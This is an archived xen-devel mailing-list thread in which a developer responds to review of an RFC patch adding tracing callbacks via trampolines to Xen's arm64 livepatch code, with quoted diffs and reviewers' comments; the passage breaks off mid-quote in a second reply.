X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?a2lUaUJ4K2tFSDh4MTQ0UkR2Q2NaRVByMlp6T2dMTmdlM2FZRTZkU0xLdS9z?=
 =?utf-8?B?TWRqTmJNVnJUUXV1MWdpQ2xTa1pYdW9ZMTRHRHpsaUQ0bUwxdkxKS09nUy9x?=
 =?utf-8?B?QUtidzF3WmhOQzhLbDRadFJFRHpGeVZYQWoreXBxSmxzSHgrSTRXUjBYUHE0?=
 =?utf-8?B?R3VycUZtY2VjdCtjLzlnM1lDdjREV2FLVG1BaExEalI3Zk5uRmh5emxFWHAy?=
 =?utf-8?B?aWlVQnVOeWxRZ0g4Y09IQ09oOGYxdUMyV25oa0JTL0liY2lXaThkZnp5enhG?=
 =?utf-8?B?U0hhTFg1V21KNGRsQkVQeDdDS0NrSUFZN2FENDF5eFRmcURYaEJ0eS9ITzg5?=
 =?utf-8?B?WWtCN3Zo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B?UG9ZYXo0NnIydi9QOEYrbzh4ODRFWXEzYVlNQTFMWGd5TmZjK0NPblZ5NjNo?=
 =?utf-8?B?QkRUMEx2ckxuU01ZYnZ0MFJIZDZ1dk1NL2RWV0k1Q3RwNVI0NVcvWDFZUzZH?=
 =?utf-8?B?dlFEQVpQYkZHdmFRNmszTSt6cTBZcUxUcm9TcGx6Z3RmQlBpWWNoR1RDN3pu?=
 =?utf-8?B?Tk1DNW4zT2J4NTl5Wmo1a2JOeVpMMDExaTBSNUhNNHZBdDNMQTg3QT09?=
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: c7fd92e2-50fa-4545-6768-08ded750691a
X-MS-Exchange-CrossTenant-AuthSource: TYYP286MB2946.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 01 Jul 2026 09:09:09.6301
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: FsD0O3LqTjpoWzQU5k3dypzcbuaruT+RG6RgMzo0hLyN0qOiTxRRsiTl8OW6fX/rTeIDxOqb+55cl8FrDc7DbQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS7P286MB5474
X-purgate-ID: tlsNG-c1860d/1782896954-A39353FC-B4FD0D71/0/0
X-purgate-type: clean
X-purgate-size: 16799

Hi Roger and Andrew,

On Tue, 30 Jun 2026 08:47:14 +0000, Roger Pau MonnÃ© wrote:
>On Mon, Jun 29, 2026 at 11:01:28AM +0900, Ryo Takakura wrote:
>> Linux ftrace allows registering callbacks which is useful
>> for debugging and tracing events. On Linux, it is done by
>> reserving function entry points at compile time which can
>> later be patched to branch to a trampoline.
>> 
>> This patch implements similar callback feature, but with
>> different approach using existing livepatch infrastructure.
>> Instead of reserving function entry points at compile time,
>> the traced function will be livepatched so that it branches
>> to the trampoline.
>
>While this is an interesting usage of the livepatch logic in new ways,
>may I ask why not do as Linux and add an empty function preamble that
>can be replaced at run-time with calls to hooks?
>
>You could still re-use most of the livepatch logic for handling the
>addition of the hook calls, but it would be nicer in that we won't
>need to move the original function.

I agree that we can reuse a lot of livepatch logic.

>> The role of the trampoline(illustrated below) is to preserve
>> the context while jumping to the tracer function, and return
>> back to the traced function with its context restored.
>
>Alternatively - why not use livepatch-build-tools against a build with
>the added hooks to generate a proper livepatch?  This looks a bit
>fragile to me (see the question from Andrew about fixing up
>instruction pointer relative references).

Yes, I think proper livepatching would still be preferred
given all the concerns Andrew and Roger raised.

>On x86 at least we would also need to adjust the bug frames and
>exception table contents, and the contents of the symbol table to
>account for the function being moved.
>
>IOW: it looks like overall this is a lot more work than possibly
>reserving a function preamble to add hook calls?

Yes, I agree.
(I wasn't aware of this additional work when I replied
to Andrew yesterday, thanks!)

And if I were to summarize the discussion so far, assuming we
still want to add a tracing-feature, I think we are in agreement
adding an empty function preamble like Linux.
(I personally would still like to see a framework on Xen
that is more convenient and tracing-friendly which can be used
reliably at the same time)

If this sounds reasonable, I will try preparing one based on
the feedbacks I was given so far:
- Use of Linux-like reserved function preamble
- Use of __attribute__((no_caller_saved_registers))
- Split replacement and preamble-hook handling in common code

Let me know your thoughts!

>> trampoline:
>>     Save regs
>>     Call tracer function
>>     Restore regs
>>     old_addr
>>     return old_addr + 4
>> 
>> One can request the feature by setting @trampoline_buf to 1
>> which will allocate a buffer for trampoline.
>> 
>> Signed-off-by: Ryo Takakura <takakura@xxxxxxxxxxxxx>
>> ---
>> 
>> Hi!
>> 
>> For the future, I'm thinking of linux-like extensions
>> which help tracing and debugging by passing:
>> - saved registers
>> - caller information
>> - private data
>> - and so on ...
>> 
>> I would appreciate any advice or suggestion.
>> Thanks!
>> 
>> Example payload file:
>> 
>> #include <xen/lib.h>
>> #include <xen/livepatch.h>
>> 
>> static void my_tracer(void)
>> {
>>     printk("livepatch: do_domctl was called\n");
>> }
>> 
>> static struct livepatch_func funcs[]
>>     __attribute__((section(".livepatch.funcs"))) =
>> {
>>     {
>>         .name = "do_domctl",
>>         .old_size = 4572,
>>         .new_addr = my_tracer,
>>         .new_size = 32,
>>         .trampoline_buf = (void *)1,
>>         .version = LIVEPATCH_PAYLOAD_VERSION,
>>     }
>> };
>> 
>> Sample output:
>> 
>> $ tools/misc/xen-livepatch list
>>  ID                                     | status     | metadata
>> ----------------------------------------+------------+---------------
>> trace_do_domctl                         | APPLIED    |
>> $ xl vcpu-list Domain-0
>> Name                                ID  VCPU   CPU State   Time(s) Affinity 
>> (Hard / Soft)
>> (XEN) livepatch: do_domctl was called
>> (XEN) livepatch: do_domctl was called
>> (XEN) livepatch: do_domctl was called
>> (XEN) livepatch: do_domctl was called
>> (XEN) livepatch: do_domctl was called
>> (XEN) livepatch: do_domctl was called
>> (XEN) livepatch: do_domctl was called
>> (XEN) livepatch: do_domctl was called
>> (XEN) livepatch: do_domctl was called
>> Domain-0                             0     0    1   -b-      67.7  all / all
>> Domain-0                             0     1    3   -b-     457.2  all / all
>> Domain-0                             0     2    2   -b-      42.4  all / all
>> Domain-0                             0     3    0   r--      32.4  all / all
>> 
>> Sincerely,
>> Ryo Takakura
>> 
>> ---
>>  xen/arch/arm/arm64/livepatch.c      | 104 +++++++++++++++++++++++++++-
>>  xen/common/livepatch.c              |  40 +++++++++--
>>  xen/include/public/sysctl.h         |   3 +-
>>  xen/include/xen/livepatch.h         |  13 +++-
>>  xen/include/xen/livepatch_payload.h |   2 +
>>  5 files changed, 150 insertions(+), 12 deletions(-)
>> 
>> diff --git a/xen/arch/arm/arm64/livepatch.c b/xen/arch/arm/arm64/livepatch.c
>> index e135bd5bf9..b7c9aba94e 100644
>> --- a/xen/arch/arm/arm64/livepatch.c
>> +++ b/xen/arch/arm/arm64/livepatch.c
>> @@ -15,6 +15,29 @@
>>  #include <asm/insn.h>
>>  #include <asm/livepatch.h>
>>  
>> +
>> +#define AARCH64_REG_SP 31
>> +
>> +static uint32_t aarch64_insn_gen_stp_pre(unsigned int rt,
>> +                                         unsigned int rt2)
>> +{
>> +    return 0xa9800000 |
>> +           (((-16 / 8) & 0x7f) << 15) |
>> +           (rt2 << 10) |
>> +           (AARCH64_REG_SP << 5) |
>> +           rt;
>> +}
>> +
>> +static uint32_t aarch64_insn_gen_ldp_post(unsigned int rt,
>> +                                          unsigned int rt2)
>> +{
>> +    return 0xa8c00000 |
>> +           (((16 / 8) & 0x7f) << 15) |
>> +           (rt2 << 10) |
>> +           (AARCH64_REG_SP << 5) |
>> +           rt;
>> +}
>> +
>>  void arch_livepatch_apply(const struct livepatch_func *func,
>>                            struct livepatch_fstate *state)
>>  {
>> @@ -34,12 +57,87 @@ void arch_livepatch_apply(const struct livepatch_func 
>> *func,
>>      /* Save old ones. */
>>      memcpy(state->insn_buffer, func->old_addr, len);
>>  
>> -    if ( func->new_addr )
>> +    if ( !func->new_addr )
>> +    {
>> +        insn = aarch64_insn_gen_nop();
>> +    }
>> +    else if ( func->trampoline_buf )
>> +    {
>> +        int rc;
>> +        uint32_t *trampoline = func->trampoline_buf;
>> +        uint32_t *tp = trampoline;
>> +        void *orig_cont_addr = (void *)func->old_addr + len;
>> +        unsigned int trampoline_code_size = len + 12 * ARCH_PATCH_INSN_SIZE;
>> +        unsigned long trampoline_start = (unsigned long)trampoline & 
>> PAGE_MASK;
>> +        unsigned long trampoline_end =
>> +            PAGE_ALIGN((unsigned long)trampoline + trampoline_code_size);
>> +
>> +        /*
>> +         * Make the payload text area writeable while generating
>> +         * the trampoline instructions.
>> +         */
>> +        rc = modify_xen_mappings(trampoline_start, trampoline_end,
>> +                                 PAGE_HYPERVISOR);
>> +        if ( rc )
>> +        {
>> +            printk(XENLOG_ERR LIVEPATCH
>> +                   "Failed to make trampoline writable: %d\n", rc);
>> +            return;
>> +        }
>> +
>> +        /* Save state before calling the tracer. */
>> +        *tp++ = aarch64_insn_gen_stp_pre(0, 1);
>> +        *tp++ = aarch64_insn_gen_stp_pre(2, 3);
>> +        *tp++ = aarch64_insn_gen_stp_pre(4, 5);
>> +        *tp++ = aarch64_insn_gen_stp_pre(6, 7);
>> +        *tp++ = aarch64_insn_gen_stp_pre(29, 30);
>> +
>> +        /* Call user's tracing function. */
>> +        insn = aarch64_insn_gen_branch_imm(
>> +            (unsigned long)tp,
>> +            (unsigned long)func->new_addr,
>> +            AARCH64_INSN_BRANCH_LINK);
>> +        *tp++ = insn;
>> +
>> +        /* Restore state before continuing original function. */
>> +        *tp++ = aarch64_insn_gen_ldp_post(29, 30);
>> +        *tp++ = aarch64_insn_gen_ldp_post(6, 7);
>> +        *tp++ = aarch64_insn_gen_ldp_post(4, 5);
>> +        *tp++ = aarch64_insn_gen_ldp_post(2, 3);
>> +        *tp++ = aarch64_insn_gen_ldp_post(0, 1);
>> +
>> +        /* Original instruction. */
>> +        memcpy(tp, state->insn_buffer, len);
>> +        tp += len / ARCH_PATCH_INSN_SIZE;
>> +
>> +        /* Branch back to original function. */
>> +        insn = aarch64_insn_gen_branch_imm(
>> +            (unsigned long)tp,
>> +            (unsigned long)orig_cont_addr,
>> +            AARCH64_INSN_BRANCH_NOLINK);
>> +        *tp++ = insn;
>> +
>> +        clean_and_invalidate_dcache_va_range(trampoline, 
>> trampoline_code_size);
>> +
>> +        rc = modify_xen_mappings(trampoline_start, trampoline_end,
>> +                                 PAGE_HYPERVISOR_RX);
>> +        if ( rc )
>> +        {
>> +            printk(XENLOG_ERR LIVEPATCH
>> +                   "Failed to restore trampoline RX mapping: %d\n", rc);
>> +            return;
>> +        }
>> +
>> +        /* Branch from original function to trampoline. */
>> +        insn = aarch64_insn_gen_branch_imm(
>> +            (unsigned long)func->old_addr,
>> +            (unsigned long)func->trampoline_buf,
>> +            AARCH64_INSN_BRANCH_NOLINK);
>> +    }
>> +    else if ( func->new_addr )
>>          insn = aarch64_insn_gen_branch_imm((unsigned long)func->old_addr,
>>                                             (unsigned long)func->new_addr,
>>                                             AARCH64_INSN_BRANCH_NOLINK);
>> -    else
>> -        insn = aarch64_insn_gen_nop();
>
>If we want to go this route, and use livepatching for this purpose, we
>need to branch the use-cases in common code, and have arches provide
>both a replacement and a preface addition hooks IMO.

I think that is a good idea.
I'll take this into account for the next.

>>  
>>      /* Verified in livepatch_verify_distance. */
>>      ASSERT(insn != AARCH64_BREAK_FAULT);
>> diff --git a/xen/common/livepatch.c b/xen/common/livepatch.c
>> index 7515a040ad..8863ad5ca3 100644
>> --- a/xen/common/livepatch.c
>> +++ b/xen/common/livepatch.c
>> @@ -280,10 +280,30 @@ static int move_payload(struct payload *payload, struct 
>> livepatch_elf *elf)
>>  {
>>      void *text_buf, *ro_buf, *rw_buf;
>>      unsigned int i, rw_buf_sec, rw_buf_cnt = 0;
>> -    size_t size = 0;
>> +    const struct livepatch_elf_sec *sec;
>> +    const struct livepatch_func *funcs;
>> +    unsigned int nfuncs, trampolines_needed = 0;
>> +    size_t size = 0, trampoline_size = 0;
>>      unsigned int *offset;
>>      int rc = 0;
>>  
>> +    sec = livepatch_elf_sec_by_name(elf, ELF_LIVEPATCH_FUNC);
>> +    if ( sec )
>> +    {
>> +        funcs = sec->addr;
>> +        nfuncs = sec->sec->sh_size / sizeof(*funcs);
>> +
>> +        for ( i = 0; i < nfuncs; ++i )
>> +            if ( funcs[i].trampoline_buf == (void *)1 )
>> +                trampolines_needed++;
>> +
>> +        if ( trampolines_needed )
>> +        {
>> +            payload->n_trampolines = trampolines_needed;
>> +            trampoline_size = trampolines_needed * LIVEPATCH_TRAMPOLINE_SIZE;
>> +        }
>> +    }
>> +
>>      offset = xmalloc_array(unsigned int, elf->hdr->e_shnum);
>>      if ( !offset )
>>          return -ENOMEM;
>> @@ -323,8 +343,8 @@ static int move_payload(struct payload *payload, struct 
>> livepatch_elf *elf)
>>       * them on separate pages. The last one will by default fall on its
>>       * own page.
>>       */
>> -    size = PAGE_ALIGN(payload->text_size) + PAGE_ALIGN(payload->rw_size) +
>> -                      payload->ro_size;
>> +    size = PAGE_ALIGN(payload->text_size + trampoline_size) +
>> +           PAGE_ALIGN(payload->rw_size) + payload->ro_size;
>>  
>>      size = PFN_UP(size); /* Nr of pages. */
>>      text_buf = vmalloc_xen(size * PAGE_SIZE);
>> @@ -335,9 +355,12 @@ static int move_payload(struct payload *payload, struct 
>> livepatch_elf *elf)
>>          rc = -ENOMEM;
>>          goto out;
>>      }
>> -    rw_buf = text_buf + PAGE_ALIGN(payload->text_size);
>> +    rw_buf = text_buf + PAGE_ALIGN(payload->text_size + trampoline_size);
>>      ro_buf = rw_buf + PAGE_ALIGN(payload->rw_size);
>>  
>> +    if ( trampoline_size )
>> +        payload->trampoline_addr = text_buf + payload->text_size;
>> +
>>      payload->pages = size;
>>      payload->text_addr = text_buf;
>>      payload->rw_addr = rw_buf;
>> @@ -690,7 +713,7 @@ static int prepare_payload(struct payload *payload,
>>  {
>>      const struct livepatch_elf_sec *sec;
>>      const struct payload *data;
>> -    unsigned int i;
>> +    unsigned int i, trampoline_idx = 0;
>>      struct livepatch_func *funcs;
>>      struct livepatch_func *f;
>>      struct virtual_region *region;
>> @@ -737,6 +760,13 @@ static int prepare_payload(struct payload *payload,
>>              if ( rc )
>>                  return rc;
>>  
>> +            if ( f->trampoline_buf == (void *)1 )
>> +            {
>> +                f->trampoline_buf = (char *)payload->trampoline_addr +
>
>You don't need to cast to char *, the type of trampoline_addr is void
>*, and we use the GNU extension to allow void pointer arithmetic by
>treating the size of a void or of a function as 1.

Oh, thanks for the advice!
I'll keep it in mind.

>> +                                    trampoline_idx * 
>> LIVEPATCH_TRAMPOLINE_SIZE;
>> +                trampoline_idx++;
>> +            }
>> +
>>              rc = livepatch_verify_distance(f);
>>              if ( rc )
>>                  return rc;
>> diff --git a/xen/include/public/sysctl.h b/xen/include/public/sysctl.h
>> index c7cd9b4eb0..e79615d7c9 100644
>> --- a/xen/include/public/sysctl.h
>> +++ b/xen/include/public/sysctl.h
>> @@ -1010,10 +1010,11 @@ struct livepatch_func {
>>      const char *name;       /* Name of function to be patched. */
>>      void *new_addr;
>>      void *old_addr;
>> +    void *trampoline_buf;   /* Trampoline buffer when set to (void *)1. */
>>      uint32_t new_size;
>>      uint32_t old_size;
>>      uint8_t version;        /* MUST be LIVEPATCH_PAYLOAD_VERSION. */
>> -    uint8_t _pad[39];
>> +    uint8_t _pad[31];
>
>New fields should be preferably added at the tail of the structure,
>and the change here needs to be propagated into livepatch-build-tools
>livepatch_patch_func structure.  See:
>
>https://xenbits.xen.org/gitweb/?p=livepatch-build-tools.git;a=blob;f=common.h;h=7f3a82ffdb29d2d1d117c1ccb20cc328bdb0529a;hb=HEAD#l135
>
>This is sadly all very fragile.

Thanks. I will make sure to update livepatch-build-tools if needed.
(But I believe the change here won't be needed as pointed by Andrew [1])

>>      livepatch_expectation_t expect;
>>  };
>>  typedef struct livepatch_func livepatch_func_t;
>> diff --git a/xen/include/xen/livepatch.h b/xen/include/xen/livepatch.h
>> index 45c8924f34..7a81763cf2 100644
>> --- a/xen/include/xen/livepatch.h
>> +++ b/xen/include/xen/livepatch.h
>> @@ -48,6 +48,8 @@ struct xen_sysctl_livepatch_op;
>>  #define ELF_LIVEPATCH_POSTREVERT_HOOK ".livepatch.hooks.postrevert"
>>  /* Arbitrary limit for payload size and .bss section size. */
>>  #define LIVEPATCH_MAX_SIZE     MB(2)
>> +/* Size of a trampoline used for function tracing */
>> +#define LIVEPATCH_TRAMPOLINE_SIZE 128
>>  
>>  struct livepatch_symbol {
>>      const char *name;
>> @@ -109,13 +111,18 @@ unsigned int livepatch_insn_len(const struct 
>> livepatch_func *func,
>>  
>>  static inline int livepatch_verify_distance(const struct livepatch_func 
>> *func)
>>  {
>> +    const void *target;
>>      long offset;
>>      long range = ARCH_LIVEPATCH_RANGE;
>>  
>> -    if ( !func->new_addr ) /* Ignore NOPs. */
>> -        return 0;
>> +    if ( func->trampoline_buf )
>> +     target = func->trampoline_buf;
>> +    else if ( func->new_addr )
>> +     target = func->new_addr;
>> +    else
>> +     return 0; /* Ignore NOPs. */
>
>FWIW, indentation is wrong here, you are adding hard tabs.

My mistake. I'll fix this.

Sincerely,
Ryo Takakura

[1] https://lists.xen.org/archives/html/xen-devel/2026-06/msg01583.html

>Thanks, Roger.


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 09:11:32 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 09:11:32 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349634.1607319 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weqyg-0002fe-W1; Wed, 01 Jul 2026 09:11:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349634.1607319; Wed, 01 Jul 2026 09:11:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weqyg-0002fX-TH; Wed, 01 Jul 2026 09:11:30 +0000
Received: by outflank-mailman (input) for mailman id 1349634;
 Wed, 01 Jul 2026 09:11:29 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <takakura@valinux.co.jp>) id 1weqyf-0002fR-Kb
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 09:11:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1weqyf-0021Y8-1E
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:11:29 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <takakura@valinux.co.jp>)
 id 6a44d9bd-e002-0a2a0a5209dd-0a2a4504d59e-18
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 11:11:28 +0200
Received: from [52.101.125.81]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <takakura@valinux.co.jp>)
 id 6a44d9be-a01d-0a2a45040019-34657d51ff28-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 11:11:28 +0200
Received: from TYYP286MB2946.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:30e::6)
 by OS7P286MB5474.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:398::10) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 1 Jul 2026
 09:11:24 +0000
Received: from TYYP286MB2946.JPNP286.PROD.OUTLOOK.COM
 ([fe80::a377:45d3:a376:f515]) by TYYP286MB2946.JPNP286.PROD.OUTLOOK.COM
 ([fe80::a377:45d3:a376:f515%3]) with mapi id 15.21.0181.008; Wed, 1 Jul 2026
 09:11:24 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-Id:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=CT41lXqD5OHiVwGeebk41nIfKTrw3JOzr0a5uPthT5RTrIflG6rH1oF4P846KWM0iRhkGUoXLqKy0/5495GQfdD9vJR15XG9KZAbx5rQJJJmhhbA1l/OXFQa3IfR/0UWKaPPebFcSEMQLgUQHAIEdn1z14xlJvmiixRIq6+E5l4vgpFzxgUcEpNGWKImJyrg24rfYJdONiEaeP1vqXtQR5ruY1z5JScRWoClNo1kmj74aVvx3dVzIdUyl8o/xAtb7wjIJTP5SfJcYwqjbqLDPCmerF/2bb1562pkt7PBH1l5vcPVohOvZtzKDzIGBDig1uOuMyPFYlqOi9ZjEsMk/g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Lw8adwinFUP4ZxnfUnxkGTnsKQin0zV3wPPajUUvSSg=;
 b=raONHWeUjfgxZ62CoEVSV7DmipmNjMtvoRxoCU+oCaFyWY0yRgPuq6QsNGgmJz7mvfxVOefSi5lDn8IiyBs3Nx8vGCxpFVBMqmlbhjq8aqn2dV8y/fPFwZFk1FCColZSiNaISYAPtWhevSO2R9E3ukiXW7rrwd5xepSeHt9qmsw1hkFEwWem3G4R7EOXOTSXBKIdCJOVeHsWV8Zwvtla2fXtNxvBak2qTuefF1ImSxOdp5es8d4RrTM471znX8xB9g8lRG1+xMBPOie01QTwbkJhTtqzBS0aPmL77KdFqdjFc5TjaNrDsztUMIujjd39Q930vmBh+drNBB8atimu5A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Lw8adwinFUP4ZxnfUnxkGTnsKQin0zV3wPPajUUvSSg=;
 b=Khh4FD0pTO2LxHuhADw7S/gcYIbdTKtOnaXujBk/zk1VUbvkybEw3VjHnMscplqMsXZVvUGt/8L1WS47m17wNGD7R8GBQm9gUW/IIYNm20ynnf3VnNwzCs0lp5fBXTIlUov3udPbgAzAfBcxt63UX+3rU6OBWBhOgSTHPo4xNpE=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Ryo Takakura <takakura@valinux.co.jp>
To: andrew.cooper3@citrix.com
Cc: roger.pau@citrix.com,
	xen-devel@lists.xenproject.org,
	ross.lagerwall@citrix.com,
	sstabellini@kernel.org,
	julien@xen.org,
	bertrand.marquis@arm.com,
	michal.orzel@amd.com,
	Volodymyr_Babchuk@epam.com,
	anthony.perard@vates.tech,
	jbeulich@suse.com,
	taka@valinux.co.jp,
	den@valinux.co.jp
Subject: Re: [RFC] xen/arm64: livepatch: enable attaching callbacks
Date: Wed,  1 Jul 2026 18:11:23 +0900
Message-Id: <20260701091123.15791-1-takakura@valinux.co.jp>
X-Mailer: git-send-email 2.34.1
In-Reply-To: <64e7c58b-a12e-4b29-9d5a-f8a66e77a221@citrix.com>
References: <64e7c58b-a12e-4b29-9d5a-f8a66e77a221@citrix.com>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY6P286CA0002.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:405:3b8::16) To TYYP286MB2946.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:400:30e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: TYYP286MB2946:EE_|OS7P286MB5474:EE_
X-MS-Office365-Filtering-Correlation-Id: 014a5c0d-1d51-492c-9b5e-08ded750b9c8
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|376014|7416014|23010399003|3023799007|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	fwlkoyjdso/p/q+Y3N7GHGj1uOD2MJ2KAg+cYdE/t7+af/FSgMtHhOyMgEf5fwdlJT7q1OqhI/r28t6ywZgmmqyJV9BenyIFTIp0CDyiTecU2SnOwWQIZY+AG1Mh5RthksgLtWC5KfzbKrgdU5BTkIdCUqYWB+UheSmdKBA7xW4PJiFiDh3nyDIPK2h497r0tcNSbec6/TzOW7T1g15GoVN5grwuJbDvBeZO5TM+tALwk3QN9pX1u0zf100Cd4ShJGg9z5Lui7/LVRLi3E/Pb0eq7inmc9gEm2GiCKa7NLWg93RomuYDkwQ2UpT8a0Js43J0YQareZzR+MAu3BpM+c79qpPXbulMLC+Y5Psq1zCIutTPQuMxQJOI4VbRnI8KUpRWOG+uB0dGypWYyQFpc8rZF1/9+Ik0AX2XtgvZPkrbccVXtaqiNrE4+GxG8l9ePFeTBemr6IJWQGecyicT9GditOZYPYbjwu6yRqMX7g93XTgguEuQxchszBzxRNknw6yt38dkuEwtbxEbwTavnuygFee9Zq9bTNvy26fXr+0MkpM9O1RGkrsoqmaskSVi+x3ynSWDTTxJBQkxOUzRsu7p3pTdDNuLp0uWw2uFyn9oiGWXHmtPcuW4w58JG8BJKnfGk9ZsZt0vHLYh/RYclkF5MExgLfkxnOVLGkdX10c=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:TYYP286MB2946.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(7416014)(23010399003)(3023799007)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?z1TY7+bWc0+xeQ0b36x7rge716RE0+Y+zdBedr9mN+T+H5HZlIDmu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rg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 014a5c0d-1d51-492c-9b5e-08ded750b9c8
X-MS-Exchange-CrossTenant-AuthSource: TYYP286MB2946.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 01 Jul 2026 09:11:24.8678
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: TtzjY3Cl4zWFijyfqfqac9SVpC7MuiWCBFUN8YxVcVR3MqOkN29v7T4N8aGqvkaCR2xlLu0d2kiEMERj2ERRBQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS7P286MB5474
X-purgate-ID: tlsNG-ebf023/1782897088-2E7A61CC-B16322A2/0/0
X-purgate-type: clean
X-purgate-size: 2553

Hi Andrew,

On Tue, 30 Jun 2026 10:57:38 +0000, Andrew Cooper wrote:
>On 30/06/2026 11:43 am, Ryo Takakura wrote:
>>>> diff --git a/xen/arch/arm/arm64/livepatch.c b/xen/arch/arm/arm64/livepatch.c
>>>> index e135bd5bf9..b7c9aba94e 100644
>>>> --- a/xen/arch/arm/arm64/livepatch.c
>>>> +++ b/xen/arch/arm/arm64/livepatch.c
>>>> @@ -34,12 +57,87 @@ void arch_livepatch_apply(const struct livepatch_func
>>>> *func,
>>>>      /* Save old ones. */
>>>>      memcpy(state->insn_buffer, func->old_addr, len);
>>>>
>>>> -    if ( func->new_addr )
>>>> +    if ( !func->new_addr )
>>>> +    {
>>>> +        insn = aarch64_insn_gen_nop();
>>>> +    }
>>>> +    else if ( func->trampoline_buf )
>>>> +    {
>>>> +        int rc;
>>>> +        uint32_t *trampoline = func->trampoline_buf;
>>>> +        uint32_t *tp = trampoline;
>>>> +        void *orig_cont_addr = (void *)func->old_addr + len;
>>>> +        unsigned int trampoline_code_size = len + 12 * 
>>>> ARCH_PATCH_INSN_SIZE;
>>>> +        unsigned long trampoline_start = (unsigned long)trampoline &
>>>> PAGE_MASK;
>>>> +        unsigned long trampoline_end =
